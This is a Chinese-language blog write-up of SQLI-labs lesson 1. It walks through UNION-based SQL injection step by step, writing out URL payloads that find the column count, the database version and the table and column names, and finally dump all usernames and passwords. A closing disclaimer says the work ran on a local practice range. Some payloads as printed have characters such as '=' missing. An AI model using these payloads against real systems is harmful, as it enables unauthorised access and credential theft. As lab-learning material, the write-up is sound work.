ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQLI-labs(一)黑盒全流程

SQLI-labs(一)黑盒全流程 1.这个题目是需要我们在URL栏里面自己构造payload进行注入实验的首先我们要测试是否可注入,返回结果正常表示注入成功存在漏洞?/idor112.然后我们要确定列数#在浏览器地址栏里有特殊身份——它是“页面锚点”浏览器认为那是页内跳转标记根本不会发给服务器。所以服务器收到的只是和原来一样。地址栏打法把#写成它的编码%23?/id1 order by 3%23这里就可以确定是有三列的数据表然后我们现在要确认那几列存在文本信息3.下一步找出口——这里用个小技巧把 id 换成0不存在的用户让原查询查空页面上就只剩 union 结果?id0 union select 1,2,3%23这里我们已知第二列存在的是用户名第三列存在的是密码我们根据这个信息进行注入但是首先我们还是要先去知道这个数据库的版本信息4.得到版本信息是security库?/id0 union select 1,version(),database()%235.然后我们去获得这个数据库里面的表单的信息,得到这里有一个users表?id0 union select 1,convert(group_concat(table_name) using utf8) collate utf8_general_ci,3 from information_schema.tables where table_schemadatabase()%236.接下来我们要去获得这个users表里面有哪些列的数据信息获取列名,得到我们所需要的username以及password列我们就直接访问这两列的信息?id0 union select 1,convert(group_concat(column_name) using utf8) collate utf8_general_ci,3 from information_schema.columns where table_nameusers%237.直接访问users表的username和password两列同时用0x3a隔开获得用户名以及密码的信息完成实验?id0 union select 1,convert(group_concat(username,0x3a,password) using utf8) collate utf8_general_ci,3 from security.users%23声明本文所有实验均在本地个人电脑搭建的合法靶场环境DVWA、sqli-labs通过 phpStudy 本地部署中完成未对任何未授权的网站、服务器或系统进行测试。文中涉及的注入技术仅用于个人学习网络安全知识与记录实验过程。SQL 注入与 XSS 属于违法行为《中华人民共和国刑法》第 285、286 条对非法侵入计算机信息系统、破坏计算机信息系统罪有明确规定。未经授权对他人系统进行渗透测试无论是否造成损害都可能构成犯罪。文中所有 payload 在合法授权环境之外不具备直接使用价值且现代框架/ORM 已普遍预防此类基础注入。请读者仅在学习环境中复现技术是用来防守的。如有错误欢迎指正转载请注明出处。
返回列表